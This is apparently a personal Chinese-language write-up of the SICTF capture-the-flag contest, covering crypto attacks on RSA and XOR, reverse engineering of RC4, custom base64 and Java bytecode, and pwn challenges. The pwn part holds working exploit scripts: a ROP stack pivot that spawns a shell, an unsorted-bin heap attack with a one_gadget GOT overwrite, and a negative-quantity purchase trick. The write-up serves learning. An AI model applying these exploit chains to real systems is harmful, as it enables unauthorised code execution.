似乎很久没写了。
周五到周日,两天的这个比赛,有些东西还真是头回用,值得纪录一下。
密码这块这届还是比较简单的,没有复杂的题,但量大分多。
给了一堆emoji的图
emoji也就那么几种,说是古典那也就是base100了,然后也就没啥了,这里用了base62,这个厨子不自动。不然就一路自动完了。
base100-62-64-58-32-62
一开始以为怎么会有这么样的名字,后来一想广播攻击,原来这词是说广播。
from Crypto.Util.number import *
from flag import flag
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n1 = p * q
p = getPrime(1024)
q = getPrime(1024)
n2 = p * q
p = getPrime(1024)
q = getPrime(1024)
n3 = p * q
e = 17
c1 = pow(m,e,n1)
c2 = pow(m,e,n2)
c3 = pow(m,e,n3)
print("n1 =",n1)
print("n2 =",n2)
print("n3 =",n3)
print("c1 =",c1)
print("c2 =",c2)
print("c3 =",c3)
n1 = 14628911682936716611458501697007036859460044243525290515096052103585430459755335375005202100114469571371360084664887335211277585652711111523095037589648375630146039444071400098427638768750755153219974194380355807078158427824557754939604018020265955042573660474772006646525311705184431094905718137297923127124517126579859336516891364853724635334011666814712424599592662398013241607855160919361308195967978220182785816761656927836373944699635667244275310680450562446433724968942835275279255823144471582249379035668825437133182865600026935116686574740844588839352146024513673500770611055698030333734066230166111140083923
n2 = 16756694748293603983474688536179571665757862433174984877308316444468003022266277794769268134195205510197588585566270416339902269736376811449830775290335951504698137924773942880807921752691668522662285163130340474205633998154849689387759453003838730282756734975490180702422176361373516245372635401939755527017589503572550811648345570775428936487145892225736625411540461653083957762795820510109891180906709827194217045059033312564525916136573856999724346161896146703174418039344166251503310869772735585554127509732135494936119159784702673291794381095696332128950979288440758815310482211285712819274848744478643590996499
n3 = 12023158079717019193506148537498877243668782424904061914991928068483879707115315968983829360560644394409575645736275352836086080024994045582242629571839276759393418303915955798990522990081795218822313146157773272844272865701134880180795342597049645358985187689813369428579614193015028249821853347208001645148169449968882591709833452960545988520048722323580338213590245476892223967673180144525106292453573842357322398199104132677638909964034937501684668442732786408572501007756270725934445316827054687741612177409932320532825182104820899546084015733164816993674100635828218335112393003462442685677115798304835391938681
c1 = 786426913645332991929803636719878643130489430090701482974255190570111407517277263761161970232982615374753982050075781017755721714929721429185828101898786972242994012456972241276851428750970754773002966788642795040933520662931514953660571657013642671173456750800960592586345219252277575624120271330470724245201080094330964145796872211627254805407394764183615099525852600855622089361965086460279057625205099471122036599934609091062009161119885692567925924978687256063116915630947838112126347748759078024890458539541208153526564434483654508834147071166870006117573542198238493913144419569943131642262575848786399020602
c2 = 14269311999815379511888097227418748728398011595172649708273598243317106830139061994801598925448165045032084910971094414749744701731066555194159863759072739031915833091715422787808666326235589236328864675164322734119047182014621724868200908222400504845559290620275973427127376594365043386362821355037781568524903149101953873768462097165128186788759111090267131443645126715520994688945363059795513931799317608292977574376954729552861360597103229877031117089231816770880909815561950691603994439997197261395452797893557057320175747162837857668062550646101714062365530246698404923128445182100334335447738834779014705114350
c3 = 3204718091370324153305164801961074660508922478706979436653573192321723216725523523538914956544950802616295043619768261075799875855502834749045520466140056621489305006966280527055668378303630674311102581232313032585389907028715671091914904062961720585667564982641321454541632782484415075257140508738041786400512095949826279576159569786734978545737717138115729502475357594151593143140355121154223614868465202149338507796306863351134218879326031985027900678671697876083351974546516576983143592764763925335805465720148057651958521255276602933604064541840892578409973858867533575728482926007556060584654853884046046420855
直接在sage下用crt解决
c17 = crt([c1,c2,c3],[n1,n2,n3])
m = iroot(c17,17)[0]
long_to_bytes(m)
这东西叫MTP吧,作过几次,见别人都用程序了。我一般是猜。用flag加密一段明文,因为它是重复进行的异或,所以过滤掉非可见字符爆破也没几个叉路,然后猜单词。
import binascii
from Crypto.Util.strxor import strxor
from secret import flag, message
# message is a Classic English Story
for i in range(10):
tmp = (message[i*30:(i+1)*30].encode())
print(binascii.hexlify(strxor(tmp,flag)).decode())
我一就这么一个个猜,也用不了多少时间。
from Crypto.Util.strxor import strxor
enc = [
'1f2037202a1e6d06353b61263d050a0538493b3018544e14171d2b1c4218',
'3769373b66142f31297f291126410e042b01162d59103a0c005221075013',
'37242c202e1e3f743c36371130410c1e2b491a31574406014505291a550e',
'7f6922742e1a213270372e01264105193004532b1f554e120c1e2a145618',
'7d69143c23156d18392b35183141310e3b49213613590003453a291a555d',
'36273731341e297424372454230e0c0f2c49127f005f020245112718545d',
'26396320295b2531227161273c04430f360d533118444e0f0b1d31554615',
'323d6335660c24373b3a2554350f0a063e05533712101905165e66145f19',
'733e222766152220703e27063508074b300f53371e5d40444735291a555d',
'37283a7432146d2d3f2a6d541808171f330c530d12544e360c162f1b565d']
enc = [bytes.fromhex(i) for i in enc]
flag = b'SICTF{MTP_AtTack_is_w0nderFu1}'
for tmp in enc:
print(bytes([tmp[i]^flag[i] for i in range(len(flag))]))
已知p的高位,很传统的题
from Crypto.Util.number import *
from flag import flag
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
leak = p >> 230
m = bytes_to_long(flag)
c = pow(m,e,n)
print(n)
print(leak)
print(c)
n = 114007680041157617250208809154392208683967639953423906669116998085115503737001019559692895227927818755160444076128820965038044269092587109196557720941716578025622244634385547194563001079609897387390680250570961313174656874665690193604984942452581886657386063927035039087208310041149977622001887997061312418381
leak = 6833525680083767201563383553257365403889275861180069149272377788671845720921410137177
c = 87627846271126693177889082381507430884663777705438987267317070845965070209704910716182088690758208915234427170455157948022843849997441546596567189456637997191173043345521331111329110083529853409188141263211030032553825858341099759209550785745319223409181813931086979471131074015406202979668575990074985441810
只差230位,秒出
P. = PolynomialRing(Zmod(n))
f = (lead<<230) +x
v = f.monic().small_roots(X=2^230, beta=0.4, epsilon=0.02)
p = int(f(v[0]))
m = pow(c, inverse_mod(65537, (p-1)),p)
bytes.fromhex(hex(m)[2:])
#SICTF{3f9366ed-b8e4-412f-bbd0-62616a24115c}
签到题是第5题厉害呀。
from secret import flag
from Crypto.Util.number import *
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
e = getPrime(10)
n = p*q
c1 = pow(114*m+2333,e,n)
c2 = pow(514*m+4555,e,n)
print(f'n = {n}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
n = 18993579800590288733556762316465854395650778003397512624355925069287661487515652428099677335464809283955351330659278915073219733930542167360381688856732762552737791137784222098296804826261681852699742456526979985201331982720936091963830799430264680941164508709453794113576607749669278887105809727027129736803614327631979056934906547015919204770702496676692691248702461766117271815398943842909579917102217310779431999448597899109808086655029624478062317317442297276087073653945439820988375066353157221370129064423613949039895822016206336117081475698987326594199181180346821431242733826487765566154350269651592993856883
c1 = 3089900890429368903963127778258893993015616003863275300568951378177309984878857933740319974151823410060583527905656182419531008417050246901514691111335764182779077027419410717272164998075313101695833565450587029584857433998627248705518025411896438130004108810308599666206694770859843696952378804678690327442746359836105117371144846629293505396610982407985241783168161504309420302314102538231774470927864959064261347913286659384383565379900391857812482728653358741387072374314243068833590379370244368317200796927931678203916569721211768082289529948017340699194622234734381555103898784827642197721866114583358940604520
c2 = 6062491672599671503583327431533992487890060173533816222838721749216161789662841049274959778509684968479022417053571624473283543736981267659104310293237792925201009775193492423025040929132360886500863823523629213703533794348606076463773478200331006341206053010168741302440409050344170767489936681627020501853981450212305108039373119567034948781143698613084550376070802084805644270376620484786155554275798939105737707005991882264123315436368611647275530607811665999620394422672764116158492214128572456571553281799359243174598812137554860109807481900330449364878168308833006964726761878461761560543284533578701661413931
这里把两个分别乘上对方的系数,那么两个M只相差2333*514-4555*114,就是短填充攻击,这种很少见了,这回变了个型出来了。这里还少给了个e,不过只有10位,爆破就行。
def short_pad_attack(c1, c2, e, n):
PRxy. = PolynomialRing(Zmod(n))
PRx. = PolynomialRing(Zmod(n))
PRZZ. = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+y)^e - c2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
kbits = n.nbits()//(2*e*e)
diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5
return diff
def related_message_attack(c1, c2, diff, e, n):
PRx. = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
from Crypto.Util.number import long_to_bytes as l2b,isPrime
for e in range(1<<9,1<<10):
if not isPrime(e): continue
print(e)
c1_ = c1 * pow(514, e, n) % n
c2_ = c2 * pow(114, e, n) % n
diff = 2333*514 - 4555*114
try:
m0 = related_message_attack(c1_, c2_, -diff, e, n)
m = (m0//514 - 2333)//114
v = l2b(int(m))
print(v)
if b'SICTF' in v:
print(e, m0)
break
except:
continue
e=3,flag又很小,直接开3次方就行了。这里差60位的m没用到。
import libnum
from Crypto.Util.number import *
import uuid
flag="SICTF{"+str(uuid.uuid4())+"}"
m=libnum.s2n(flag)
p=getPrime(1024)
q=getPrime(1024)
n=p*q
e=3
c=pow(m,e,n)
m1=((m>>60)<<60)
print("n=",n)
print("e=",e)
print("c=",c)
print("((m>>60)<<60)=",m1)
print(flag)
'''
n= 23407088262641313744603678186127228163189328033499381357614318160776774708961658114505773173784501557046914457908828086210961235530240151825359345210845219656000760996670856300710703016947799649686427460688236465568188205550456293373157997725204643414082796492333552579250010906010553831060540937802882205118399938918764313169385349293602085310111289583058965780887097301702677087443291977479125263301000328313103296364864396361278863921717374909215078711198899810620522933994481419395021233240234478331179727351050575360886334237633420906629984625441302945112631166021776379103081857393866576659121443879590011160797
e= 3
c= 1584727211980974717747362694412040878682966138197627512650829607105625096823456063149392973232737929737200028676411430124019573130595696272668927725536797627059576270068695792221537212669276826952363636924278717182163166234322320044764324434683614360641636360301452618063418349310497430566465329766916213742181
((m>>60)<<60)= 11658736990073967239197168945911788935424691658202162501032766529463315401599017877851823976178979438592
'''
long_to_bytes(iroot(c,3)[0])
b'SICTF{2ca8e589-4a31-4909-80f0-9ecfc8f8cb37}'
又是个小爆破题,因为两个p的乘子很小,可以爆破
from secret import flag
from Crypto.Util.number import *
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
hint1 = getPrime(13)*p+getPrime(256)*q
hint2 = getPrime(13)*p+getPrime(256)*q
c = pow(m,e,n)
print(f'n = {n}')
print(f'hint1 = {hint1}')
print(f'hint2 = {hint2}')
print(f'c = {c}')
n = 68123067052840097285002963401518347625939222208495512245264898037784706226045178539672509359795737570458454279990340789711761542570505016930986418403583534761200927746744298082254959321108829717070206277856970403191060311901559017372393931121345743640657503994132925993800497309703877076541759570410784984067
hint1 = 564294243979930441832363430202216879765636227726919016842676871868826273613344463155168512928428069316237289920953421495330355385445649203238665802121198919543532254290185502622234014832349396422316629991217252686524462096711723580
hint2 = 484307144682854466149980416084532076579378210225500554261260145338511061452958092407101769145891750844383042274498826787696953308289632616886162073232218214504005935332891893378072083589751354946391146889055039887781077066257013110
c = 57751903193610662622957432730720223801836323458721550133101805763463060486486266309568004721657732742899781400754207249733137375171400440423755473421971160000575072519031824740691618617905549725344323721903857290320737224300672847773455169809689188843070599176261204013341324705808617411345132933937680951713
互乘对方因子(是不是跟前边题重了,相当于一个蒸羊羔一个涮羊肉)相减就与n有公因子q
for k1 in range(1<<12,1<<13):
if not isPrime(k1): continue
for k2 in range(1<<12,1<<13):
if not isPrime(k2): continue
v = gcd(n, hint1*k2 - hint2*k1)
if v != 1:
print(v)
exit()
q = 8358483529150257619757085065272214074629139403939506404958882156637928949429486966229697771519458532207667137987443291952917150640467328461391364839768437
m = pow(c, invert(e,q-1),q)
l2b(m)
3个pwn两个有难度,最后这个都没作出来,完事拿别人WP复现原。原来unsortbin还可以这么搞,第一次。记下。
这个秒出的题,flag 9999, hint 10在输入数量的时候输入负数-1000钱就够了
┌──(kali㉿kali)-[~/ctf/0904]
└─$ nc 210.44.151.51 10247
Welcome to the store! You currently have 10 coins.Product List:
1. flag - 9999 coins
2. hint - 10 coins
3. quit
Please select a product to purchase (or enter 3 to quit): 2
Please enter the quantity to purchase: -1000
Congratulations! You have purchased -1000 hint(s)!Product List:
1. flag - 9999 coins
2. hint - 10 coins
3. quit
Please select a product to purchase (or enter 3 to quit): 1
Please enter the quantity to purchase: 1
Congratulations! You have purchased 1 flag file(s)!
SICTF{5a7fc3c8-3a10-4fd0-b701-78a1665cbbf4}
突然难度就上来了,只有一个write和read,read有溢出。这种东西也见过几回,主要是给的gadget不同,这里只能得到pop rbp;ret所以只能用这个write和read了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
write(1, "Hello!!!", 8uLL);
read(0, buf, 0x100uLL);
return 0;
}
所以这题就是个移栈,
第1次移到bss里,这里的地址已知。这里read是从rbp-0x20开始,所以这里移到stdin-8+0x20的位置,在下次执行read时在stdin-8的位置写入8个字符就可以把stdin 带出来,就能得到libc
0x4011dd 这里,利用移栈时得到的rbp来读入
0x4011ce这里,利用read时的rsi输出stdin
先作个read将payload读到0x404068(前边的stdin,stdout不能覆盖)然后发生移栈,再次执行read这次读到0x404068-0x20(stdin前)然后移栈执行write+read输出stdout后再读入覆盖自己,由于已知libc这里就可以覆盖了,由于这里可用空间太小,再执行个read将payload读到bss+0x800再移栈执行。
from pwn import *
elf = ELF('./stack')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3.1_amd64/libc.so.6')
context(arch='amd64', log_level='debug')
ret = 0x00401160
pop_rbp = 0x000000000040115d # pop rbp ; ret
leave_ret = 0x4011fd
#p = process('./stack')
p = remote('210.44.151.51', 10185)
#gdb.attach(p, 'b*0x4011f8\nc')
p.sendafter(b"Hello!!!", flat(b'A'*0x20, 0x404068+0x20, 0x4011dd).ljust(0x100))
p.send(flat(0x404068, 0x4011ce,0,0,0x404068, 0x4011dd,ret,ret).ljust(0x100, b'\x00'))
p.send(b'A'*8)
libc.address = u64(p.recv(16)[8:]) - libc.sym['_IO_2_1_stdin_']
print(f"{libc.address = :x}")
pop_rdi = next(libc.search(asm('pop rdi;ret')))
pop_rsi = next(libc.search(asm('pop rsi;ret')))
pop_rdx = next(libc.search(asm('pop rdx;pop r12;ret')))
bin_sh = next(libc.search(b'/bin/sh\x00'))
p.send(flat(0, libc.sym['_IO_2_1_stdin_'], 0,0, 0x404800, ret, ret,ret,ret,ret,ret,ret, pop_rdi, 0,pop_rbp, 0x404800, 0x4011dd).ljust(0x100,b'X'))
p.send(flat(b'A'*0x20, 0,pop_rdi, bin_sh, pop_rsi,0, pop_rdx,0,0, libc.sym['system']))
p.interactive()
这个没作出来,完了看WP才明白,其实unsortbin的块可以跟tcache的块用法差不多。
当申请块时先从unsortbin链里找,找到恰相等的就使用,然后把指针给下一块,这里伪造这个指针,指向一个区域,就可以用在bss指针区里分配块。
add可以申请0x1000以下的块,并写size(1字节)
unsigned __int64 add()
{
unsigned int v0; // ebx
int size[7]; // [rsp+4h] [rbp-1Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u);
size[0] = 0;
if ( (unsigned int)chunk_number > 0x20 )
{
puts("too much");
exit(0);
}
puts("Size :");
__isoc99_scanf("%d", size);
if ( size[0] > 0x1000u )
{
puts("too large");
exit(0);
}
chunk_size[chunk_number] = size[0];
v0 = chunk_number;
*((_QWORD *)&chunk_ptr + v0) = malloc((unsigned int)size[0]);
puts("Content :");
read(0, *((void **)&chunk_ptr + (unsigned int)chunk_number), (unsigned int)size[0]);
++chunk_number;
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
edit这里指针没有溢出,只有数据溢出,可以输入长度
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
_DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF
*(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
v1 = 0;
nbytes[0] = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
puts("Size :");
__isoc99_scanf("%d", nbytes);
if ( nbytes[0] > 0x1000u )
{
puts("too large");
exit(0);
}
puts("Content :");
read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}
show只能输出8字节,所以largebin的堆指针是得不到了。
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
write(1, *((const void **)&chunk_ptr + v1), 8uLL);
return __readfsqword(0x28u) ^ v2;
}
用unsortbin里有些限制:
另一个限制就是修改top_chunk里要保持尾12位不变(页检查),但当top_chunk变为unsort后,可以随意改。
这个size由于写块时大小只写1字节,可以很容易伪造一个头。这个头的位置+0x10的位置(bk)利用ptr[0]所以fake的位置选在ptr-0x18
思路:
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./baby_heap')
p = remote('210.44.151.51', 10347)
elf = ELF('./baby_heap')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu10-amd64/libc6_2.23-0ubuntu10_amd64.so')
def add(size, msg=b'A'):
p.sendlineafter(b">\n", b'1')
p.sendlineafter(b"Size :\n", str(size).encode())
p.sendafter(b"Content :\n", msg)
def edit(idx, msg):
p.sendlineafter(b">\n", b'2')
p.sendlineafter(b"Index :\n", str(idx).encode())
p.sendlineafter(b"Size :\n", str(len(msg)).encode())
p.sendafter(b"Content :\n", msg)
def show(idx):
p.sendlineafter(b">\n", b'3')
p.sendlineafter(b"Index :\n", str(idx).encode())
for i in range(16):
add(0x100)
add(0x111)
add(1)
edit(17, b'\x00'*0x18 + p64(0xdc1)) #修改top_chunk的时候需要尾对齐,
#0x406240: 0x0000000000000000 0x000000000001fdc1
add(0x1000) #18
edit(17, b'\x00'*0x18 + flat(0x111,114514, 0x4040c8)) #但top已经变成unsort后可以随意,bk指向fake(ptr前),且需要fake->bk有正常指针
add(0x100)
add(0x100) #20
'''
0x4040c8 : 0x0000000000000000 0x0000000000000111
0x4040d8 : 0x00007ffff7bc4b41 0x0000000000405010 <- 在d0设置指针,unsort需要在bk位置有指针
0x4040e8 : 0x0000000000405120 0x0000000000405230
...
0x404178 : 0x0000000000406250 0x00000000004040d8
'''
edit(20, flat(0, elf.got['malloc']))
show(0)
libc.address = u64(p.recv(8)) - 0x84180 #libc.sym['malloc']
print(f"{libc.address = :x}")
one = libc.address + 0xf1247 #0xf1147
edit(0, p64(one))
p.sendlineafter(b">\n", b'1')
p.sendlineafter(b"Size :\n", b'8')
p.interactive()
#SICTF{5c02ba58-3f03-448d-9e09-a69b773887f6}
这个逆向很难,最后还有没作出来的
这个先不管他怎么解,直接打开能看到flag
中规中矩的逆向题
strcpy(s, "SIFLAG"); //key
v18 = 0x47CF225A0ED32730LL; //密文
*(_DWORD *)v19 = 0xE50B6B47;
*(_QWORD *)&v19[3] = 0x785C399BA538DE5LL;
v20 = 0x9F88FE10771C0107LL;
v23 = strlen(s);
v22 = 27;
puts("SICTF-Please input your flag:");
*(_QWORD *)v5 = 0LL;
.....
v17 = 0;
__isoc99_scanf("%s", v5);
v3 = strlen(v5);
if ( v3 != v22 )
{
printf("length is error!");
exit(0);
}
rc4((__int64)s, v23, (__int64)v5, v22); //RC4加密
for ( i = 0; i < (int)v22; ++i )
{
if ( (unsigned __int8)v5[i] != v19[i - 8] )
{
printf("error!");
exit(0);
}
}
printf("ok you get the flag!");
return 0;
}
RC4部分
v8 = 0;
for ( i = 0; i <= 255; ++i ) //init s_box
v5[i] = i;
for ( i = 0; i <= 255; ++i )
{
v8 = ((unsigned __int8)v5[i] + v8 + *(unsigned __int8 *)(i % a2 + key)) % 256;
v6 = v5[i];
v5[i] = v5[v8];
v5[v8] = v6;
}
v8 = 0;
i = 0;
for ( j = 0; ; ++j )
{
result = j;
if ( (int)j >= a4 )
break;
i = (i + 1) % 256;
v8 = (v8 + (unsigned __int8)v5[i]) % 256;
v6 = v5[i];
v5[i] = v5[v8];
v5[v8] = v6;
*(_BYTE *)((int)j + plain) ^= v5[(unsigned __int8)(v5[i] + v5[v8])];
}
return result;
稍加修改简化了的RC4,对流加密来说,只是把明文与流异或,加密解密是相同的。
import hashlib
import base64
def Rc4_init(S, K): # S盒初始化置换,K为密钥
j = 0
k = [] # 临时数组
for i in range(256):
S.append(i)
k.append(K[i % len(K)])
for i in range(256):
j = (j + S[i] + k[i]) % 256
S[i], S[j] = S[j], S[i] # 交换S[i],S[j]
def rc4_Decrypt(S, D):
i = j = 0
#D = base64.b64decode(D)
result = ''
for a in D:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k = chr(a ^ S[(S[i] + S[j]) % 256])
result += k
return result
from pwn import p64
key = b'SIFLAG'
enc = [0x47cf225a0ed32730,0x99ba538de50b6b47,0x10771c01070785c3,0x46495300009f88fe]
enc = b''.join([p64(i) for i in enc])[:27]
s_box = []
Rc4_init(s_box, key)
v = rc4_Decrypt(s_box, enc)
print(v)
#SICTF{wow_you_get_the_flag}
变表的BASE64,
一上来就看到密文
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-17Ch]
char v5; // [esp+0h] [ebp-17Ch]
char *Str1; // [esp+D0h] [ebp-ACh]
char v7[108]; // [esp+DCh] [ebp-A0h] BYREF
char Str2[48]; // [esp+148h] [ebp-34h] BYREF
__CheckForDebuggerJustMyCode(&unk_41C0F5);
sub_4111EA();
strcpy(Str2, "F0lWEVA7BmUzAGB0C2UuAU9hbnIpATEidDdnACQ9"); // 密文
sub_4110E6("SICTF-Please input your flag:\n", v4);
j_memset(v7, 0, 0x64u);
sub_411037("%s", (char)v7);
Str1 = (char *)sub_4110F5((int)v7, 30);
sub_4110E6("%s\n", (char)Str1);
if ( j_strcmp(Str1, Str2) )
{
sub_4110E6("error! ", v5);
exit(0);
}
sub_4110E6("ok you get the flag!", v5);
return 0;
}
加密方法,很明显的base64
_BYTE *__cdecl sub_411890(int a1, unsigned int a2)
{
int v3; // [esp+Ch] [ebp-130h]
int v4; // [esp+Ch] [ebp-130h]
int v5; // [esp+Ch] [ebp-130h]
unsigned int i; // [esp+D4h] [ebp-68h]
unsigned int v7; // [esp+E0h] [ebp-5Ch]
int v8; // [esp+F8h] [ebp-44h]
int v9; // [esp+104h] [ebp-38h]
int v10; // [esp+110h] [ebp-2Ch]
int v11; // [esp+110h] [ebp-2Ch]
unsigned int v12; // [esp+11Ch] [ebp-20h]
_BYTE *v13; // [esp+128h] [ebp-14h]
unsigned int v14; // [esp+134h] [ebp-8h]
__CheckForDebuggerJustMyCode(&unk_41C0F5);
v14 = 4 * ((a2 + 2) / 3);
v13 = malloc(__CFADD__(v14, 1) ? -1 : v14 + 1);
if ( !v13 )
return 0;
v12 = 0;
v10 = 0;
while ( v12 < a2 )
{
v3 = *(char *)(v12 + a1);
++v12;
v9 = v3;
if ( v12 >= a2 )
{
v4 = 0;
}
else
{
v4 = *(char *)(v12 + a1);
++v12;
}
v8 = v4;
if ( v12 >= a2 )
{
v5 = 0;
}
else
{
v5 = *(char *)(v12 + a1);
++v12;
}
v7 = v5 + (v9 << 16) + (v8 << 8);
v13[v10] = Destination[(v7 >> 18) & 0x3F]; //码表
v11 = v10 + 1;
v13[v11] = Destination[(v7 >> 12) & 0x3F];
v13[++v11] = Destination[(v7 >> 6) & 0x3F];
v13[++v11] = Destination[v5 & 0x3F];
v10 = v11 + 1;
}
for ( i = 0; i < a2 % 3; ++i )
v13[v14 - 1 - i] = 61;
v13[v14] = 0;
return v13;
}
码表赋值(如果debug就返回正常的码表)
char *sub_411B30()
{
char *result; // eax
__CheckForDebuggerJustMyCode(&unk_41C0F5);
j_strcpy(Destination, "ZYXWVUTSRQPONMLKJIHGFEDCBAabcdefghijklmnopqrstuvwxyz0123456789+/");
result = (char *)IsDebuggerPresent();
if ( result )
return j_strcpy(Destination, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
return result;
}
直接在厨子上base64用指定码表解码
被修改过的pyc打exe文件,先解出pyc文件,发现无法反编译。用010打开,的现代码非常短。数据区里有base64和码表密文等。直接用base64解密即可
密文,在python字节码里用头+长度+字符串的表示方法。这里DA是串标记3C是长度,后边是密文串到AA不过长点也无所谓,厨子不挑尾巴。
上一题是python的字节码,这题是java的字节码,这两个构造很相似,只是命令不同。而java面向对象又比较麻烦
public static void main(java.lang.String[]);
Code:
0: bipush 37
2: newarray double
4: dup
5: iconst_0
6: ldc2_w #2 // double 148.0d
9: dastore
10: dup
11: iconst_1
12: ldc2_w #4 // double 136.0d
15: dastore
16: dup
17: iconst_2
18: ldc2_w #6 // double 151.0d
21: dastore
22: dup
23: iconst_3
24: ldc2_w #8 // double 234.0d
27: dastore
28: dup
29: iconst_4
30: ldc2_w #10 // double 177.0d
33: dastore
34: dup
35: iconst_5
36: ldc2_w #12 // double 48.0d
39: dastore
40: dup
41: bipush 6
43: ldc2_w #14 // double 226.0d
46: dastore
47: dup
48: bipush 7
50: ldc2_w #8 // double 234.0d
53: dastore
54: dup
55: bipush 8
57: ldc2_w #16 // double 214.0d
60: dastore
61: dup
62: bipush 9
64: ldc2_w #10 // double 177.0d
67: dastore
68: dup
69: bipush 10
71: ldc2_w #18 // double 168.0d
74: dastore
75: dup
76: bipush 11
78: ldc2_w #20 // double 176.0d
81: dastore
82: dup
83: bipush 12
85: ldc2_w #6 // double 151.0d
88: dastore
89: dup
90: bipush 13
92: ldc2_w #22 // double 250.0d
95: dastore
96: dup
97: bipush 14
99: ldc2_w #24 // double 19.0d
102: dastore
103: dup
104: bipush 15
106: ldc2_w #26 // double 20.0d
109: dastore
110: dup
111: bipush 16
113: ldc2_w #28 // double 253.0d
116: dastore
117: dup
118: bipush 17
120: ldc2_w #30 // double 52.0d
123: dastore
124: dup
125: bipush 18
127: ldc2_w #32 // double 72.0d
130: dastore
131: dup
132: bipush 19
134: ldc2_w #20 // double 176.0d
137: dastore
138: dup
139: bipush 20
141: ldc2_w #34 // double 170.0d
144: dastore
145: dup
146: bipush 21
148: ldc2_w #36 // double 140.0d
151: dastore
152: dup
153: bipush 22
155: ldc2_w #20 // double 176.0d
158: dastore
159: dup
160: bipush 23
162: ldc2_w #38 // double 236.0d
165: dastore
166: dup
167: bipush 24
169: ldc2_w #40 // double 54.0d
172: dastore
173: dup
174: bipush 25
176: ldc2_w #42 // double 231.0d
179: dastore
180: dup
181: bipush 26
183: ldc2_w #44 // double 212.0d
186: dastore
187: dup
188: bipush 27
190: ldc2_w #46 // double 237.0d
193: dastore
194: dup
195: bipush 28
197: ldc2_w #48 // double 135.0d
200: dastore
201: dup
202: bipush 29
204: ldc2_w #6 // double 151.0d
207: dastore
208: dup
209: bipush 30
211: ldc2_w #50 // double 150.0d
214: dastore
215: dup
216: bipush 31
218: ldc2_w #48 // double 135.0d
221: dastore
222: dup
223: bipush 32
225: ldc2_w #52 // double 217.0d
228: dastore
229: dup
230: bipush 33
232: ldc2_w #42 // double 231.0d
235: dastore
236: dup
237: bipush 34
239: ldc2_w #54 // double 229.0d
242: dastore
243: dup
244: bipush 35
246: ldc2_w #56 // double 32.0d
249: dastore
250: dup
251: bipush 36
253: ldc2_w #58 // double 90.0d
256: dastore
257: astore_3
258: aload_3
259: arraylength
260: newarray double
262: astore 4 //对象保存4 操作空间
264: ldc #60 // String SICTF2023
266: astore_1
267: new #61 // class java/util/Scanner
270: dup
271: getstatic #62 // Field java/lang/System.in:Ljava/io/InputStream;
274: invokespecial #63 // Method java/util/Scanner."":(Ljava/io/InputStream;)V
277: astore 5
279: getstatic #64 // Field java/lang/System.out:Ljava/io/PrintStream;
282: ldc #65 // String 请输入flag:
284: invokevirtual #66 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
287: aload 5
289: invokevirtual #67 // Method java/util/Scanner.nextLine:()Ljava/lang/String;
292: astore_2
293: aload_2
294: invokevirtual #68 // Method java/lang/String.toCharArray:()[C
297: astore 6
299: aload_2
300: invokevirtual #69 // Method java/lang/String.length:()I
303: bipush 38
305: if_icmpeq 319
308: getstatic #64 // Field java/lang/System.out:Ljava/io/PrintStream;
311: ldc #70 // String flag length error\n
313: invokevirtual #66 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
316: goto 408
319: iconst_0
320: istore 7 //idx
322: iload 7 //if i
开头的250多行是密文,存到数据里,为了恶心人专门转化成双精度,其实一点没变。
264-266将一个串SICTF023存入串1(key)
271-313读入flag存入bytearray并判断长度
320-329一个for循环
332-377加密:((flag[i]^flag[i+1]) - key[i%keylen])^key[i%keylen]还是比较麻烦的
由于头部已经可以很容易从头爆破
a = [148,136,151,234,177,48,226,234,214,177,168,176,151,250,19,20,253,52,72,176,170,140,176,236,54,231,212,237,135,151,150,135,217,231,229,32,90]
#(((83^73)-83)^83)&255
key = b'SICTF2023'*5
b = [0]*38
b[0] = ord('S')
b[37] = ord('}')
for i in range(1,38):
for c in range(256):
v = (((c^b[i-1])-key[i-1])^key[i-1])&0xff
if v == a[i-1]:
b[i] = c
print(i,chr(c), bytes(b))
break